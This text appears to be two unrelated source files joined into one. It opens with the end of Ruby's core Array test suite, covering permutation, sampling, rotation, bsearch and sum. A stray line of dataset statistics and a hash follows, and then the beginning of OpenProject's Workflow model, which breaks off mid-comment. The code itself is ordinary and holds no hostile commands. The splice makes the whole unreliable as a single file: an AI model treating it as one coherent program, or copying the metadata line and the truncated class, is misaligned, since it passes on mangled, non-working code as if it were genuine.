a.permutation {|x| b << x; a.replace(@cls[9, 8, 7, 6]) }
assert_equal(@cls[9, 8, 7, 6], a)
assert_equal(@cls[1, 2, 3, 4].permutation.to_a, b)
bug3708 = '[ruby-dev:42067]'
assert_equal(b, @cls[0, 1, 2, 3, 4][1, 4].permutation.to_a, bug3708)
end
def test_permutation_stack_error
bug9932 = '[ruby-core:63103] [Bug #9932]'
assert_separately([], <<-"end;", timeout: 30) # do
assert_nothing_raised(SystemStackError, "#{bug9932}") do
assert_equal(:ok, Array.new(100_000, nil).permutation {break :ok})
end
end;
end
def test_repeated_permutation
a = @cls[1,2]
assert_equal(@cls[[]], a.repeated_permutation(0).to_a)
assert_equal(@cls[[1],[2]], a.repeated_permutation(1).to_a.sort)
assert_equal(@cls[[1,1],[1,2],[2,1],[2,2]],
a.repeated_permutation(2).to_a.sort)
assert_equal(@cls[[1,1,1],[1,1,2],[1,2,1],[1,2,2],
[2,1,1],[2,1,2],[2,2,1],[2,2,2]],
a.repeated_permutation(3).to_a.sort)
assert_equal(@cls[], a.repeated_permutation(-1).to_a)
assert_equal("abcde".each_char.to_a.repeated_permutation(5).sort,
"edcba".each_char.to_a.repeated_permutation(5).sort)
assert_equal(@cls[].repeated_permutation(0).to_a, @cls[[]])
assert_equal(@cls[].repeated_permutation(1).to_a, @cls[])
a = @cls[1, 2, 3, 4]
b = @cls[]
a.repeated_permutation(4) {|x| b << x; a.replace(@cls[9, 8, 7, 6]) }
assert_equal(@cls[9, 8, 7, 6], a)
assert_equal(@cls[1, 2, 3, 4].repeated_permutation(4).to_a, b)
a = @cls[0, 1, 2, 3, 4][1, 4].repeated_permutation(2)
assert_empty(a.reject {|x| !x.include?(0)})
end
def test_repeated_permutation_stack_error
assert_separately([], <<-"end;", timeout: 30) # do
assert_nothing_raised(SystemStackError) do
assert_equal(:ok, Array.new(100_000, nil).repeated_permutation(500_000) {break :ok})
end
end;
end
def test_repeated_combination
a = @cls[1,2,3]
assert_equal(@cls[[]], a.repeated_combination(0).to_a)
assert_equal(@cls[[1],[2],[3]], a.repeated_combination(1).to_a.sort)
assert_equal(@cls[[1,1],[1,2],[1,3],[2,2],[2,3],[3,3]],
a.repeated_combination(2).to_a.sort)
assert_equal(@cls[[1,1,1],[1,1,2],[1,1,3],[1,2,2],[1,2,3],
[1,3,3],[2,2,2],[2,2,3],[2,3,3],[3,3,3]],
a.repeated_combination(3).to_a.sort)
assert_equal(@cls[[1,1,1,1],[1,1,1,2],[1,1,1,3],[1,1,2,2],[1,1,2,3],
[1,1,3,3],[1,2,2,2],[1,2,2,3],[1,2,3,3],[1,3,3,3],
[2,2,2,2],[2,2,2,3],[2,2,3,3],[2,3,3,3],[3,3,3,3]],
a.repeated_combination(4).to_a.sort)
assert_equal(@cls[], a.repeated_combination(-1).to_a)
assert_equal("abcde".each_char.to_a.repeated_combination(5).map{|e|e.sort}.sort,
"edcba".each_char.to_a.repeated_combination(5).map{|e|e.sort}.sort)
assert_equal(@cls[].repeated_combination(0).to_a, @cls[[]])
assert_equal(@cls[].repeated_combination(1).to_a, @cls[])
a = @cls[1, 2, 3, 4]
b = @cls[]
a.repeated_combination(4) {|x| b << x; a.replace(@cls[9, 8, 7, 6]) }
assert_equal(@cls[9, 8, 7, 6], a)
assert_equal(@cls[1, 2, 3, 4].repeated_combination(4).to_a, b)
a = @cls[0, 1, 2, 3, 4][1, 4].repeated_combination(2)
assert_empty(a.reject {|x| !x.include?(0)})
end
def test_repeated_combination_stack_error
assert_separately([], <<-"end;", timeout: 20) # do
assert_nothing_raised(SystemStackError) do
assert_equal(:ok, Array.new(100_000, nil).repeated_combination(500_000) {break :ok})
end
end;
end
def test_take
assert_equal([1,2,3], [1,2,3,4,5,0].take(3))
assert_raise(ArgumentError, '[ruby-dev:34123]') { [1,2].take(-1) }
assert_equal([1,2], [1,2].take(1000000000), '[ruby-dev:34123]')
end
def test_take_while
assert_equal([1,2], [1,2,3,4,5,0].take_while {|i| i < 3 })
end
def test_drop
assert_equal([4,5,0], [1,2,3,4,5,0].drop(3))
assert_raise(ArgumentError, '[ruby-dev:34123]') { [1,2].drop(-1) }
assert_equal([], [1,2].drop(1000000000), '[ruby-dev:34123]')
end
def test_drop_while
assert_equal([3,4,5,0], [1,2,3,4,5,0].drop_while {|i| i < 3 })
end
LONGP = [127, 63, 31, 15, 7].map {|x| 2**x-1 }.find do |x|
begin
[].first(x)
rescue ArgumentError
true
rescue RangeError
false
end
end
def test_ary_new
assert_raise(ArgumentError) { [].to_enum.first(-1) }
assert_raise(ArgumentError) { [].to_enum.first(LONGP) }
end
def test_try_convert
assert_equal([1], Array.try_convert([1]))
assert_equal(nil, Array.try_convert("1"))
end
def test_initialize
assert_nothing_raised { [].instance_eval { initialize } }
assert_nothing_raised { Array.new { } }
assert_equal([1, 2, 3], Array.new([1, 2, 3]))
assert_raise(ArgumentError) { Array.new(-1, 1) }
assert_raise(ArgumentError) { Array.new(LONGP, 1) }
assert_equal([1, 1, 1], Array.new(3, 1))
assert_equal([1, 1, 1], Array.new(3) { 1 })
assert_equal([1, 1, 1], Array.new(3, 1) { 1 })
end
def test_aset_error
assert_raise(IndexError) { [0][-2] = 1 }
assert_raise(IndexError) { [0][LONGP] = 2 }
assert_raise(IndexError) { [0][(LONGP + 1) / 2 - 1] = 2 }
assert_raise(IndexError) { [0][LONGP..-1] = 2 }
a = [0]
a[2] = 4
assert_equal([0, nil, 4], a)
assert_raise(ArgumentError) { [0][0, 0, 0] = 0 }
assert_raise(ArgumentError) { [0].freeze[0, 0, 0] = 0 }
assert_raise(TypeError) { [0][:foo] = 0 }
assert_raise(RuntimeError) { [0].freeze[:foo] = 0 }
end
def test_first2
assert_equal([0], [0].first(2))
assert_raise(ArgumentError) { [0].first(-1) }
end
def test_last2
assert_equal([0], [0].last(2))
assert_raise(ArgumentError) { [0].last(-1) }
end
def test_shift2
assert_equal(0, ([0] * 16).shift)
# check
a = [0, 1, 2]
a[3] = 3
a.shift(2)
assert_equal([2, 3], a)
assert_equal([1,1,1], ([1] * 100).shift(3))
end
def test_unshift_error
assert_raise(RuntimeError) { [].freeze.unshift('cat') }
assert_raise(RuntimeError) { [].freeze.unshift() }
end
def test_aref
assert_raise(ArgumentError) { [][0, 0, 0] }
end
def test_fetch
assert_equal(1, [].fetch(0, 0) { 1 })
assert_equal(1, [0, 1].fetch(-1))
assert_raise(IndexError) { [0, 1].fetch(2) }
assert_raise(IndexError) { [0, 1].fetch(-3) }
assert_equal(2, [0, 1].fetch(2, 2))
end
def test_index2
a = [0, 1, 2]
assert_equal(a, a.index.to_a)
assert_equal(1, a.index {|x| x == 1 })
end
def test_rindex2
a = [0, 1, 2]
assert_equal([2, 1, 0], a.rindex.to_a)
assert_equal(1, a.rindex {|x| x == 1 })
a = [0, 1]
e = a.rindex
assert_equal(1, e.next)
a.clear
assert_raise(StopIteration) { e.next }
o = Object.new
class << o; self; end.class_eval do
define_method(:==) {|x| a.clear; false }
end
a = [nil, o]
assert_equal(nil, a.rindex(0))
end
def test_ary_to_ary
o = Object.new
def o.to_ary; [1, 2, 3]; end
a, b, c = o
assert_equal([1, 2, 3], [a, b, c])
end
def test_splice
a = [0]
assert_raise(IndexError) { a[-2, 0] = nil }
end
def test_insert
a = [0]
assert_equal([0], a.insert(1))
assert_equal([0, 1], a.insert(1, 1))
assert_raise(ArgumentError) { a.insert }
assert_equal([0, 1, 2], a.insert(-1, 2))
assert_equal([0, 1, 3, 2], a.insert(-2, 3))
assert_raise(RuntimeError) { [0].freeze.insert(0)}
assert_raise(ArgumentError) { [0].freeze.insert }
end
def test_join2
a = []
a << a
assert_raise(ArgumentError){a.join}
def (a = Object.new).to_ary
[self]
end
assert_raise(ArgumentError, '[ruby-core:24150]'){[a].join}
assert_equal("12345", [1,[2,[3,4],5]].join)
end
def test_to_a2
klass = Class.new(Array)
a = klass.new.to_a
assert_equal([], a)
assert_equal(Array, a.class)
end
def test_values_at2
a = [0, 1, 2, 3, 4, 5]
assert_equal([1, 2, 3], a.values_at(1..3))
assert_equal([nil, nil], a.values_at(7..8))
bug6203 = '[ruby-core:43678]'
assert_equal([4, 5, nil, nil], a.values_at(4..7), bug6203)
assert_equal([nil], a.values_at(2**31-1))
end
def test_select
assert_equal([0, 2], [0, 1, 2, 3].select {|x| x % 2 == 0 })
end
# also keep_if
def test_select!
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(nil, a.select! { true })
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.select! { false })
assert_equal(@cls[], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.select! { |i| i > 3 })
assert_equal(@cls[4, 5], a)
bug10722 = '[ruby-dev:48805] [Bug #10722]'
a = @cls[ 5, 6, 7, 8, 9, 10 ]
r = a.select! {|i|
break i if i > 8
# assert_equal(a[0], i, "should be selected values only") if i == 7
i >= 7
}
assert_equal(9, r)
assert_equal(@cls[7, 8, 9, 10], a, bug10722)
bug13053 = '[ruby-core:78739] [Bug #13053] Array#select! can resize to negative size'
a = @cls[ 1, 2, 3, 4, 5 ]
a.select! {|i| a.clear if i == 5; false }
assert_equal(0, a.size, bug13053)
end
# also select!
def test_keep_if
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.keep_if { true })
assert_equal(@cls[1, 2, 3, 4, 5], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.keep_if { false })
assert_equal(@cls[], a)
a = @cls[ 1, 2, 3, 4, 5 ]
assert_equal(a, a.keep_if { |i| i > 3 })
assert_equal(@cls[4, 5], a)
end
def test_delete2
a = [0] * 1024 + [1] + [0] * 1024
a.delete(0)
assert_equal([1], a)
end
def test_reject
assert_equal([1, 3], [0, 1, 2, 3].reject {|x| x % 2 == 0 })
end
def test_reject_with_callcc
need_continuation
bug9727 = '[ruby-dev:48101] [Bug #9727]'
cont = nil
a = [*1..10].reject do |i|
callcc {|c| cont = c} if !cont and i == 10
false
end
if a.size < 1000
a.unshift(:x)
cont.call
end
assert_equal(1000, a.size, bug9727)
assert_equal([:x, *1..10], a.uniq, bug9727)
end
def test_zip
assert_equal([[1, :a, "a"], [2, :b, "b"], [3, nil, "c"]],
[1, 2, 3].zip([:a, :b], ["a", "b", "c", "d"]))
a = []
[1, 2, 3].zip([:a, :b], ["a", "b", "c", "d"]) {|x| a << x }
assert_equal([[1, :a, "a"], [2, :b, "b"], [3, nil, "c"]], a)
ary = Object.new
def ary.to_a; [1, 2]; end
assert_raise(TypeError) {%w(a b).zip(ary)}
def ary.each; [3, 4].each{|e|yield e}; end
assert_equal([['a', 3], ['b', 4]], %w(a b).zip(ary))
def ary.to_ary; [5, 6]; end
assert_equal([['a', 5], ['b', 6]], %w(a b).zip(ary))
end
def test_zip_bug
bug8153 = "ruby-core:53650"
r = 1..1
def r.respond_to?(*)
super
end
assert_equal [[42, 1]], [42].zip(r), bug8153
end
def test_transpose
assert_equal([[1, :a], [2, :b], [3, :c]],
[[1, 2, 3], [:a, :b, :c]].transpose)
assert_raise(IndexError) { [[1, 2, 3], [:a, :b]].transpose }
end
def test_clear2
assert_equal([], ([0] * 1024).clear)
end
def test_fill2
assert_raise(ArgumentError) { [].fill(0, 1, LONGP) }
end
def test_times
assert_raise(ArgumentError) { [0, 0, 0, 0] * ((LONGP + 1) / 4) }
end
def test_equal
o = Object.new
def o.to_ary; end
def o.==(x); :foo; end
assert_equal([0, 1, 2], o)
assert_not_equal([0, 1, 2], [0, 1, 3])
end
A = Array.new(3, &:to_s)
B = A.dup
def test_equal_resize
o = Object.new
def o.==(o)
A.clear
B.clear
true
end
A[1] = o
assert_equal(A, B)
end
def test_flatten_error
a = []
a << a
assert_raise(ArgumentError) { a.flatten }
f = [].freeze
assert_raise(ArgumentError) { a.flatten!(1, 2) }
assert_raise(TypeError) { a.flatten!(:foo) }
assert_raise(ArgumentError) { f.flatten!(1, 2) }
assert_raise(RuntimeError) { f.flatten! }
assert_raise(RuntimeError) { f.flatten!(:foo) }
end
def test_shuffle
100.times do
assert_equal([0, 1, 2], [2, 1, 0].shuffle.sort)
end
gen = Random.new(0)
assert_raise(ArgumentError) {[1, 2, 3].shuffle(1, random: gen)}
srand(0)
100.times do
assert_equal([0, 1, 2].shuffle, [0, 1, 2].shuffle(random: gen))
end
assert_raise_with_message(ArgumentError, /unknown keyword/) do
[0, 1, 2].shuffle(xawqij: "a")
end
assert_raise_with_message(ArgumentError, /unknown keyword/) do
[0, 1, 2].shuffle!(xawqij: "a")
end
end
def test_shuffle_random
gen = proc do
10000000
end
class << gen
alias rand call
end
assert_raise(RangeError) {
[*0..2].shuffle(random: gen)
}
ary = (0...10000).to_a
gen = proc do
ary.replace([])
0.5
end
class << gen
alias rand call
end
assert_raise(RuntimeError) {ary.shuffle!(random: gen)}
zero = Object.new
def zero.to_int
0
end
gen_to_int = proc do |max|
zero
end
class << gen_to_int
alias rand call
end
ary = (0...10000).to_a
assert_equal(ary.rotate, ary.shuffle(random: gen_to_int))
assert_raise(NoMethodError) {
ary.shuffle(random: Object.new)
}
assert_raise(NoMethodError) {
ary.shuffle!(random: Object.new)
}
end
def test_sample
100.times do
assert_include([0, 1, 2], [2, 1, 0].sample)
samples = [2, 1, 0].sample(2)
samples.each{|sample|
assert_include([0, 1, 2], sample)
}
end
srand(0)
a = (1..18).to_a
(0..20).each do |n|
100.times do
b = a.sample(n)
assert_equal([n, 18].min, b.size)
assert_equal(a, (a | b).sort)
assert_equal(b.sort, (a & b).sort)
end
h = Hash.new(0)
1000.times do
a.sample(n).each {|x| h[x] += 1 }
end
assert_operator(h.values.min * 2, :>=, h.values.max) if n != 0
end
assert_raise(ArgumentError, '[ruby-core:23374]') {[1, 2].sample(-1)}
gen = Random.new(0)
srand(0)
a = (1..18).to_a
(0..20).each do |n|
100.times do |i|
assert_equal(a.sample(n), a.sample(n, random: gen), "#{i}/#{n}")
end
end
assert_raise_with_message(ArgumentError, /unknown keyword/) do
[0, 1, 2].sample(xawqij: "a")
end
end
def test_sample_random
ary = (0...10000).to_a
assert_raise(ArgumentError) {ary.sample(1, 2, random: nil)}
gen0 = proc do |max|
max/2
end
class << gen0
alias rand call
end
gen1 = proc do |max|
ary.replace([])
max/2
end
class << gen1
alias rand call
end
assert_equal(5000, ary.sample(random: gen0))
assert_nil(ary.sample(random: gen1))
assert_equal([], ary)
ary = (0...10000).to_a
assert_equal([5000], ary.sample(1, random: gen0))
assert_equal([], ary.sample(1, random: gen1))
assert_equal([], ary)
ary = (0...10000).to_a
assert_equal([5000, 4999], ary.sample(2, random: gen0))
assert_equal([], ary.sample(2, random: gen1))
assert_equal([], ary)
ary = (0...10000).to_a
assert_equal([5000, 4999, 5001], ary.sample(3, random: gen0))
assert_equal([], ary.sample(3, random: gen1))
assert_equal([], ary)
ary = (0...10000).to_a
assert_equal([5000, 4999, 5001, 4998], ary.sample(4, random: gen0))
assert_equal([], ary.sample(4, random: gen1))
assert_equal([], ary)
ary = (0...10000).to_a
assert_equal([5000, 4999, 5001, 4998, 5002, 4997, 5003, 4996, 5004, 4995], ary.sample(10, random: gen0))
assert_equal([], ary.sample(10, random: gen1))
assert_equal([], ary)
ary = (0...10000).to_a
assert_equal([5000, 0, 5001, 2, 5002, 4, 5003, 6, 5004, 8, 5005], ary.sample(11, random: gen0))
ary.sample(11, random: gen1) # implementation detail, may change in the future
assert_equal([], ary)
half = Object.new
def half.to_int
5000
end
gen_to_int = proc do |max|
half
end
class << gen_to_int
alias rand call
end
ary = (0...10000).to_a
assert_equal(5000, ary.sample(random: gen_to_int))
assert_raise(NoMethodError) {
ary.sample(random: Object.new)
}
end
def test_cycle
a = []
[0, 1, 2].cycle do |i|
a << i
break if a.size == 10
end
assert_equal([0, 1, 2, 0, 1, 2, 0, 1, 2, 0], a)
a = [0, 1, 2]
assert_nil(a.cycle { a.clear })
a = []
[0, 1, 2].cycle(3) {|i| a << i }
assert_equal([0, 1, 2, 0, 1, 2, 0, 1, 2], a)
end
def test_reverse_each2
a = [0, 1, 2, 3, 4, 5]
r = []
a.reverse_each do |x|
r << x
a.pop
a.pop
end
assert_equal([5, 3, 1], r)
end
def test_combination2
assert_equal(:called, (0..100).to_a.combination(50) { break :called }, "[ruby-core:29240] ... must be yielded even if 100C50 > signed integer")
end
def test_combination_clear
bug9939 = '[ruby-core:63149] [Bug #9939]'
assert_nothing_raised(bug9939) {
a = [*0..100]
a.combination(3) {|*,x| a.clear}
}
bug13052 = '[ruby-core:78738] [Bug #13052] Array#combination segfaults if the Array is modified during iteration'
assert_nothing_raised(bug13052) {
a = [*0..100]
a.combination(1) { a.clear }
a = [*0..100]
a.repeated_combination(1) { a.clear }
}
end
def test_product2
a = (0..100).to_a
assert_raise(RangeError) do
a.product(a, a, a, a, a, a, a, a, a, a)
end
assert_nothing_raised(RangeError) do
a.product(a, a, a, a, a, a, a, a, a, a) { break }
end
end
class Array2 < Array
end
def test_array_subclass
assert_equal(Array2, Array2[1,2,3].uniq.class, "[ruby-dev:34581]")
assert_equal(Array2, Array2[1,2][0,1].class) # embeded
assert_equal(Array2, Array2[*(1..100)][1..99].class) #not embeded
end
def test_inspect
a = @cls[1, 2, 3]
a.taint
s = a.inspect
assert_equal(true, s.tainted?)
end
def test_initialize2
a = [1] * 1000
a.instance_eval { initialize }
assert_equal([], a)
end
def test_shift_shared_ary
a = (1..100).to_a
b = []
b.replace(a)
assert_equal((1..10).to_a, a.shift(10))
assert_equal((11..100).to_a, a)
a = (1..30).to_a
assert_equal((1..3).to_a, a.shift(3))
# occupied
assert_equal((4..6).to_a, a.shift(3))
end
def test_replace_shared_ary
a = [1] * 100
b = []
b.replace(a)
a.replace([1, 2, 3])
assert_equal([1, 2, 3], a)
assert_equal([1] * 100, b)
end
def test_fill_negative_length
a = (1..10).to_a
a.fill(:foo, 5, -3)
assert_equal((1..10).to_a, a)
end
def test_slice_frozen_array
a = [1,2,3,4,5].freeze
assert_equal([1,2,3,4], a[0,4])
assert_equal([2,3,4,5], a[1,4])
end
def test_sort_by!
a = [1,3,5,2,4]
a.sort_by! {|x| -x }
assert_equal([5,4,3,2,1], a)
end
def test_rotate
a = [1,2,3,4,5].freeze
assert_equal([2,3,4,5,1], a.rotate)
assert_equal([5,1,2,3,4], a.rotate(-1))
assert_equal([3,4,5,1,2], a.rotate(2))
assert_equal([4,5,1,2,3], a.rotate(-2))
assert_equal([4,5,1,2,3], a.rotate(13))
assert_equal([3,4,5,1,2], a.rotate(-13))
a = [1].freeze
assert_equal([1], a.rotate)
assert_equal([1], a.rotate(2))
assert_equal([1], a.rotate(-4))
assert_equal([1], a.rotate(13))
assert_equal([1], a.rotate(-13))
a = [].freeze
assert_equal([], a.rotate)
assert_equal([], a.rotate(2))
assert_equal([], a.rotate(-4))
assert_equal([], a.rotate(13))
assert_equal([], a.rotate(-13))
a = [1,2,3]
assert_raise(ArgumentError) { a.rotate(1, 1) }
assert_equal([1,2,3,4,5].rotate(2**31-1), [1,2,3,4,5].rotate(2**31-0.1))
assert_equal([1,2,3,4,5].rotate(-2**31), [1,2,3,4,5].rotate(-2**31-0.9))
end
def test_rotate!
a = [1,2,3,4,5]
assert_equal([2,3,4,5,1], a.rotate!)
assert_equal([2,3,4,5,1], a)
assert_equal([4,5,1,2,3], a.rotate!(2))
assert_equal([5,1,2,3,4], a.rotate!(-4))
assert_equal([3,4,5,1,2], a.rotate!(13))
assert_equal([5,1,2,3,4], a.rotate!(-13))
a = [1]
assert_equal([1], a.rotate!)
assert_equal([1], a.rotate!(2))
assert_equal([1], a.rotate!(-4))
assert_equal([1], a.rotate!(13))
assert_equal([1], a.rotate!(-13))
a = []
assert_equal([], a.rotate!)
assert_equal([], a.rotate!(2))
assert_equal([], a.rotate!(-4))
assert_equal([], a.rotate!(13))
assert_equal([], a.rotate!(-13))
a = [].freeze
assert_raise_with_message(RuntimeError, /can\'t modify frozen/) {a.rotate!}
a = [1,2,3]
assert_raise(ArgumentError) { a.rotate!(1, 1) }
end
def test_bsearch_typechecks_return_values
assert_raise(TypeError) do
[1, 2, 42, 100, 666].bsearch{ "not ok" }
end
c = eval("class C\u{309a 26a1 26c4 1f300};self;end")
assert_raise_with_message(TypeError, /C\u{309a 26a1 26c4 1f300}/) do
[0,1].bsearch {c.new}
end
assert_equal [1, 2, 42, 100, 666].bsearch{}, [1, 2, 42, 100, 666].bsearch{false}
end
def test_bsearch_with_no_block
enum = [1, 2, 42, 100, 666].bsearch
assert_nil enum.size
assert_equal 42, enum.each{|x| x >= 33 }
end
def test_bsearch_in_find_minimum_mode
a = [0, 4, 7, 10, 12]
assert_equal(4, a.bsearch {|x| x >= 4 })
assert_equal(7, a.bsearch {|x| x >= 6 })
assert_equal(0, a.bsearch {|x| x >= -1 })
assert_equal(nil, a.bsearch {|x| x >= 100 })
end
def test_bsearch_in_find_any_mode
a = [0, 4, 7, 10, 12]
assert_include([4, 7], a.bsearch {|x| 1 - x / 4 })
assert_equal(nil, a.bsearch {|x| 4 - x / 2 })
assert_equal(nil, a.bsearch {|x| 1 })
assert_equal(nil, a.bsearch {|x| -1 })
assert_include([4, 7], a.bsearch {|x| (1 - x / 4) * (2**100) })
assert_equal(nil, a.bsearch {|x| 1 * (2**100) })
assert_equal(nil, a.bsearch {|x| (-1) * (2**100) })
assert_include([4, 7], a.bsearch {|x| (2**100).coerce((1 - x / 4) * (2**100)).first })
end
def test_bsearch_index_typechecks_return_values
assert_raise(TypeError) do
[1, 2, 42, 100, 666].bsearch_index {"not ok"}
end
assert_equal [1, 2, 42, 100, 666].bsearch_index {}, [1, 2, 42, 100, 666].bsearch_index {false}
end
def test_bsearch_index_with_no_block
enum = [1, 2, 42, 100, 666].bsearch_index
assert_nil enum.size
assert_equal 2, enum.each{|x| x >= 33 }
end
def test_bsearch_index_in_find_minimum_mode
a = [0, 4, 7, 10, 12]
assert_equal(1, a.bsearch_index {|x| x >= 4 })
assert_equal(2, a.bsearch_index {|x| x >= 6 })
assert_equal(0, a.bsearch_index {|x| x >= -1 })
assert_equal(nil, a.bsearch_index {|x| x >= 100 })
end
def test_bsearch_index_in_find_any_mode
a = [0, 4, 7, 10, 12]
assert_include([1, 2], a.bsearch_index {|x| 1 - x / 4 })
assert_equal(nil, a.bsearch_index {|x| 4 - x / 2 })
assert_equal(nil, a.bsearch_index {|x| 1 })
assert_equal(nil, a.bsearch_index {|x| -1 })
assert_include([1, 2], a.bsearch_index {|x| (1 - x / 4) * (2**100) })
assert_equal(nil, a.bsearch_index {|x| 1 * (2**100) })
assert_equal(nil, a.bsearch_index {|x| (-1) * (2**100) })
assert_include([1, 2], a.bsearch_index {|x| (2**100).coerce((1 - x / 4) * (2**100)).first })
end
def test_shared_marking
reduce = proc do |s|
s.gsub(/(verify_internal_consistency_reachable_i:\sWB\smiss\s\S+\s\(T_ARRAY\)\s->\s)\S+\s\((proc|T_NONE)\)\n
\K(?:\1\S+\s\(\2\)\n)*/x) do
"...(snip #{$&.count("\n")} lines)...\n"
end
end
begin
assert_normal_exit(<<-EOS, '[Bug #9718]', timeout: 5, stdout_filter: reduce)
queue = []
50.times do
10_000.times do
queue << lambda{}
end
GC.start(full_mark: false, immediate_sweep: true)
GC.verify_internal_consistency
queue.shift.call
end
EOS
rescue Timeout::Error => e
skip e.message
end
end
sizeof_long = [0].pack("l!").size
sizeof_voidp = [""].pack("p").size
if sizeof_long < sizeof_voidp
ARY_MAX = (1<<(8*sizeof_long-1)) / sizeof_voidp - 1
Bug11235 = '[ruby-dev:49043] [Bug #11235]'
def test_push_over_ary_max
assert_separately(['-', ARY_MAX.to_s, Bug11235], <<-"end;", timeout: 30)
a = Array.new(ARGV[0].to_i)
assert_raise(IndexError, ARGV[1]) {0x1000.times {a.push(1)}}
end;
end
def test_unshift_over_ary_max
assert_separately(['-', ARY_MAX.to_s, Bug11235], <<-"end;")
a = Array.new(ARGV[0].to_i)
assert_raise(IndexError, ARGV[1]) {0x1000.times {a.unshift(1)}}
end;
end
def test_splice_over_ary_max
assert_separately(['-', ARY_MAX.to_s, Bug11235], <<-"end;")
a = Array.new(ARGV[0].to_i)
assert_raise(IndexError, ARGV[1]) {a[0, 0] = Array.new(0x1000)}
end;
end
end
def test_dig
h = @cls[@cls[{a: 1}], 0]
assert_equal(1, h.dig(0, 0, :a))
assert_nil(h.dig(2, 0))
assert_raise(TypeError) {h.dig(1, 0)}
end
FIXNUM_MIN = -(1 << (8 * RbConfig::SIZEOF['long'] - 2))
FIXNUM_MAX = (1 << (8 * RbConfig::SIZEOF['long'] - 2)) - 1
def assert_typed_equal(e, v, cls, msg=nil)
assert_kind_of(cls, v, msg)
assert_equal(e, v, msg)
end
def assert_int_equal(e, v, msg=nil)
assert_typed_equal(e, v, Integer, msg)
end
def assert_rational_equal(e, v, msg=nil)
assert_typed_equal(e, v, Rational, msg)
end
def assert_float_equal(e, v, msg=nil)
assert_typed_equal(e, v, Float, msg)
end
def assert_complex_equal(e, v, msg=nil)
assert_typed_equal(e, v, Complex, msg)
end
def test_sum
assert_int_equal(0, [].sum)
assert_int_equal(3, [3].sum)
assert_int_equal(8, [3, 5].sum)
assert_int_equal(15, [3, 5, 7].sum)
assert_rational_equal(8r, [3, 5r].sum)
assert_float_equal(15.0, [3, 5, 7.0].sum)
assert_float_equal(15.0, [3, 5r, 7.0].sum)
assert_complex_equal(8r + 1i, [3, 5r, 1i].sum)
assert_complex_equal(15.0 + 1i, [3, 5r, 7.0, 1i].sum)
assert_int_equal(2*FIXNUM_MAX, Array.new(2, FIXNUM_MAX).sum)
assert_int_equal(2*(FIXNUM_MAX+1), Array.new(2, FIXNUM_MAX+1).sum)
assert_int_equal(10*FIXNUM_MAX, Array.new(10, FIXNUM_MAX).sum)
assert_int_equal(0, ([FIXNUM_MAX, 1, -FIXNUM_MAX, -1]*10).sum)
assert_int_equal(FIXNUM_MAX*10, ([FIXNUM_MAX+1, -1]*10).sum)
assert_int_equal(2*FIXNUM_MIN, Array.new(2, FIXNUM_MIN).sum)
assert_float_equal(0.0, [].sum(0.0))
assert_float_equal(3.0, [3].sum(0.0))
assert_float_equal(3.5, [3].sum(0.5))
assert_float_equal(8.5, [3.5, 5].sum)
assert_float_equal(10.5, [2, 8.5].sum)
assert_float_equal((FIXNUM_MAX+1).to_f, [FIXNUM_MAX, 1, 0.0].sum)
assert_float_equal((FIXNUM_MAX+1).to_f, [0.0, FIXNUM_MAX+1].sum)
assert_rational_equal(3/2r, [1/2r, 1].sum)
assert_rational_equal(5/6r, [1/2r, 1/3r].sum)
assert_equal(2.0+3.0i, [2.0, 3.0i].sum)
assert_int_equal(13, [1, 2].sum(10))
assert_int_equal(16, [1, 2].sum(10) {|v| v * 2 })
yielded = []
three = SimpleDelegator.new(3)
ary = [1, 2.0, three]
assert_float_equal(12.0, ary.sum {|x| yielded << x; x * 2 })
assert_equal(ary, yielded)
assert_raise(TypeError) { [Object.new].sum }
large_number = 100000000
small_number = 1e-9
until (large_number + small_number) == large_number
small_number /= 10
end
assert_float_equal(large_number+(small_number*10), [large_number, *[small_number]*10].sum)
assert_float_equal(large_number+(small_number*10), [large_number/1r, *[small_number]*10].sum)
assert_float_equal(large_number+(small_number*11), [small_number, large_number/1r, *[small_number]*10].sum)
assert_float_equal(small_number, [large_number, small_number, -large_number].sum)
assert_equal("abc", ["a", "b", "c"].sum(""))
assert_equal([1, [2], 3], [[1], [[2]], [3]].sum([]))
assert_separately(%w[-rmathn], <<-EOS, ignore_stderr: true)
assert_equal(6, [1r, 2, 3r].sum)
EOS
end
private
def need_continuation
unless respond_to?(:callcc, true)
EnvUtil.suppress_warning {require 'continuation'}
end
end
end
| 28.123028 | 147 | 0.551966 |
e8dd1a19d01b48c2468cba5a2a097a87b2fb87a7 | 5,051 | #-- encoding: UTF-8
#-- copyright
# OpenProject is a project management system.
# Copyright (C) 2012-2017 the OpenProject Foundation (OPF)
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License version 3.
#
# OpenProject is a fork of ChiliProject, which is a fork of Redmine. The copyright follows:
# Copyright (C) 2006-2017 Jean-Philippe Lang
# Copyright (C) 2010-2013 the ChiliProject Team
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
#
# See doc/COPYRIGHT.rdoc for more details.
#++
class Workflow < ActiveRecord::Base
belongs_to :role
belongs_to :old_status, class_name: 'Status', foreign_key: 'old_status_id'
belongs_to :new_status, class_name: 'Status', foreign_key: 'new_status_id'
belongs_to :type, inverse_of: 'workflows'
validates_presence_of :role, :old_status, :new_status
# Returns workflow transitions count by type and role
def self.count_by_type_and_role
counts = connection
.select_all("SELECT role_id, type_id, count(id) AS c FROM #{Workflow.table_name} GROUP BY role_id, type_id")
roles = Role.order('builtin, position')
types = ::Type.order('position')
result = []
types.each do |type|
t = []
roles.each do |role|
row = counts.detect { |c| c['role_id'].to_s == role.id.to_s && c['type_id'].to_s == type.id.to_s }
t << [role, (row.nil? ? 0 : row['c'].to_i)]
end
result << [type, t]
end
result
end
# Gets all work flows originating from the provided status
# that:
# * are defined for the type
# * are defined for any of the roles
#
# Workflows specific to author or assignee are ignored unless author and/or assignee are set to true. In
# such a case, those work flows are additionally returned.
